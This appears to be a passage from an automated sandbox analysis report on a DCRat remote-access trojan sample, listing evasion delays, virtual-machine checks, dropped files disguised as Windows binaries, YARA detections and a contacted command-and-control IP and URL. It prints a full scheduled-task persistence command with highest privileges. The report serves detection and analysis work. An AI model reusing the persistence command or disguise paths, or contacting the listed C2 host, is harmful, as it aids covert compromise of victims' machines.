Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe TID: 7576 Thread sleep time: -598828s >= -30000s Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe TID: 5216 Thread sleep time: -30000s >= -30000s Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe TID: 5844 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe TID: 7216 Thread sleep count: 647 > 30 Jump to behavior
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe TID: 7180 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe TID: 7308 Thread sleep count: 367 > 30 Jump to behavior
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe TID: 7252 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\twain_32\Registry.exe TID: 7352 Thread sleep count: 361 > 30
Source: C:\Windows\twain_32\Registry.exe TID: 7256 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\twain_32\Registry.exe TID: 7492 Thread sleep count: 364 > 30
Source: C:\Windows\twain_32\Registry.exe TID: 7388 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe TID: 7604 Thread sleep count: 362 > 30
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe TID: 7392 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe TID: 7632 Thread sleep count: 370 > 30
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe TID: 7472 Thread sleep time: -922337203685477s >= -30000s
Source: C:\ProgramData\smartscreen.exe TID: 7716 Thread sleep count: 367 > 30
Source: C:\ProgramData\smartscreen.exe TID: 7552 Thread sleep time: -922337203685477s >= -30000s
Source: C:\ProgramData\smartscreen.exe TID: 7512 Thread sleep count: 367 > 30
Source: C:\ProgramData\smartscreen.exe TID: 7428 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe TID: 7704 Thread sleep count: 369 > 30
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe TID: 7560 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe TID: 7688 Thread sleep count: 364 > 30
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe TID: 7528 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Windows\twain_32\Registry.exe File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\twain_32\Registry.exe File Volume queried: C:\ FullSizeInformation
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe File Volume queried: C:\ FullSizeInformation
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe File Volume queried: C:\ FullSizeInformation
Source: C:\ProgramData\smartscreen.exe File Volume queried: C:\ FullSizeInformation
Source: C:\ProgramData\smartscreen.exe File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe Thread delayed: delay time: 600000 Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe Thread delayed: delay time: 599875 Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe Thread delayed: delay time: 599766 Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe Thread delayed: delay time: 599641 Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe Thread delayed: delay time: 599516 Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe Thread delayed: delay time: 599407 Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe Thread delayed: delay time: 599282 Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe Thread delayed: delay time: 599157 Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe Thread delayed: delay time: 599047 Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe Thread delayed: delay time: 598934 Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe Thread delayed: delay time: 598828 Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\twain_32\Registry.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\twain_32\Registry.exe Thread delayed: delay time: 922337203685477
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Thread delayed: delay time: 922337203685477
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Thread delayed: delay time: 922337203685477
Source: C:\ProgramData\smartscreen.exe Thread delayed: delay time: 922337203685477
Source: C:\ProgramData\smartscreen.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Thread delayed: delay time: 922337203685477
Source: 13ZNp2xvRU.exe, 00000000.00000002.1730295583.000000001BD22000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}8b}\
Source: RRVGfHJzvQMYfWe.exe, 0000001C.00000002.1752439368.000000001BC60000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: 13ZNp2xvRU.exe, 00000000.00000002.1730295583.000000001BD22000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\!
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe Process information queried: ProcessInformation Jump to behavior
Enables debug privileges
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe Process token adjusted: Debug Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\twain_32\Registry.exe Process token adjusted: Debug
Source: C:\Windows\twain_32\Registry.exe Process token adjusted: Debug
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Process token adjusted: Debug
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Process token adjusted: Debug
Source: C:\ProgramData\smartscreen.exe Process token adjusted: Debug
Source: C:\ProgramData\smartscreen.exe Process token adjusted: Debug
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Process token adjusted: Debug
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Process token adjusted: Debug
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe Memory allocated: page read and write | page guard Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "smartscreens" /sc MINUTE /mo 14 /tr "'C:\Users\All Users\smartscreen.exe'" /rl HIGHEST /f Jump to behavior
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe Queries volume information: C:\Users\user\Desktop\13ZNp2xvRU.exe VolumeInformation Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe Queries volume information: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe VolumeInformation Jump to behavior
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe Queries volume information: C:\Windows\Panther\setup.exe\fontdrvhost.exe VolumeInformation Jump to behavior
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe Queries volume information: C:\Windows\Panther\setup.exe\fontdrvhost.exe VolumeInformation Jump to behavior
Source: C:\Windows\twain_32\Registry.exe Queries volume information: C:\Windows\twain_32\Registry.exe VolumeInformation
Source: C:\Windows\twain_32\Registry.exe Queries volume information: C:\Windows\twain_32\Registry.exe VolumeInformation
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Queries volume information: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe VolumeInformation
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Queries volume information: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe VolumeInformation
Source: C:\ProgramData\smartscreen.exe Queries volume information: C:\ProgramData\smartscreen.exe VolumeInformation
Source: C:\ProgramData\smartscreen.exe Queries volume information: C:\ProgramData\smartscreen.exe VolumeInformation
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Queries volume information: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe VolumeInformation
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Queries volume information: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe VolumeInformation
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information
barindex
Yara detected DCRat
Source: Yara match File source: 00000021.00000002.1822645357.0000000002C0E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001F.00000002.1817416575.0000000002D91000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000020.00000002.1823482959.0000000002CA7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001C.00000002.1751125350.0000000002C41000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000002.1822645357.0000000002BC1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000026.00000002.1829855431.00000000028A8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000020.00000002.1823482959.0000000002C81000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000026.00000002.1829855431.00000000028E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000002.1830518768.00000000023CB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000002.1830518768.0000000002381000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.1725729204.0000000002E64000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001F.00000002.1817416575.0000000002DD8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000002.1828805098.0000000002681000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000022.00000002.1827470717.00000000024E1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000002.1830518768.00000000023D2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000022.00000002.1827470717.000000000252D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.1725729204.0000000002B51000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001E.00000002.1822130425.0000000003251000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000024.00000002.1825391692.0000000002D41000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000002.1828805098.00000000026C8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000002.1817100149.0000000002481000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: 13ZNp2xvRU.exe PID: 6544, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: RRVGfHJzvQMYfWe.exe PID: 6376, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: fontdrvhost.exe PID: 2504, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: fontdrvhost.exe PID: 6260, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: Registry.exe PID: 7188, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: Registry.exe PID: 7224, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: RRVGfHJzvQMYfWe.exe PID: 7260, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: RRVGfHJzvQMYfWe.exe PID: 7292, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: smartscreen.exe PID: 7340, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: smartscreen.exe PID: 7372, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: UserOOBEBroker.exe PID: 7396, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: UserOOBEBroker.exe PID: 7404, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected DCRat
Source: Yara match File source: 00000021.00000002.1822645357.0000000002C0E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001F.00000002.1817416575.0000000002D91000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000020.00000002.1823482959.0000000002CA7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001C.00000002.1751125350.0000000002C41000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000002.1822645357.0000000002BC1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000026.00000002.1829855431.00000000028A8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000020.00000002.1823482959.0000000002C81000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000026.00000002.1829855431.00000000028E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000002.1830518768.00000000023CB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000002.1830518768.0000000002381000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.1725729204.0000000002E64000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001F.00000002.1817416575.0000000002DD8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000002.1828805098.0000000002681000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000022.00000002.1827470717.00000000024E1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000002.1830518768.00000000023D2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000022.00000002.1827470717.000000000252D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.1725729204.0000000002B51000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001E.00000002.1822130425.0000000003251000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000024.00000002.1825391692.0000000002D41000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000002.1828805098.00000000026C8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000002.1817100149.0000000002481000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: 13ZNp2xvRU.exe PID: 6544, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: RRVGfHJzvQMYfWe.exe PID: 6376, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: fontdrvhost.exe PID: 2504, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: fontdrvhost.exe PID: 6260, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: Registry.exe PID: 7188, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: Registry.exe PID: 7224, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: RRVGfHJzvQMYfWe.exe PID: 7260, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: RRVGfHJzvQMYfWe.exe PID: 7292, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: smartscreen.exe PID: 7340, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: smartscreen.exe PID: 7372, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: UserOOBEBroker.exe PID: 7396, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: UserOOBEBroker.exe PID: 7404, type: MEMORYSTR
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 1430583 Sample: 13ZNp2xvRU.exe Startdate: 23/04/2024 Architecture: WINDOWS Score: 100 35 Found malware configuration 2->35 37 Antivirus detection for URL or domain 2->37 39 Antivirus detection for dropped file 2->39 41 14 other signatures 2->41 6 13ZNp2xvRU.exe 1 28 2->6         started        10 fontdrvhost.exe 3 2->10         started        12 Registry.exe 2->12         started        14 8 other processes 2->14 process3 file4 25 C:\Windows\twain_32\Registry.exe, PE32 6->25 dropped 27 C:\Windows\Panther\...\fontdrvhost.exe, PE32 6->27 dropped 29 C:\Windows\PLA\...\RRVGfHJzvQMYfWe.exe, PE32 6->29 dropped 31 5 other malicious files 6->31 dropped 43 Uses schtasks.exe or at.exe to add and modify task schedules 6->43 45 Creates processes via WMI 6->45 16 RRVGfHJzvQMYfWe.exe 14 3 6->16         started        19 schtasks.exe 6->19         started        21 schtasks.exe 6->21         started        23 25 other processes 6->23 47 Antivirus detection for dropped file 10->47 49 Multi AV Scanner detection for dropped file 10->49 51 Machine Learning detection for dropped file 10->51 signatures5 process6 dnsIp7 33 45.130.42.16, 49730, 49731, 80 BEGET-ASRU Russian Federation 16->33
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
45.130.42.16
 unknown Russian Federation
198610 BEGET-ASRU true

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://45.130.42.16/6/api144/9Wp/@0xWdhZWZkRWYvx2ZpJUdwNWb2V2Zh1WS true
  • Avira URL Cloud: malware
 unknown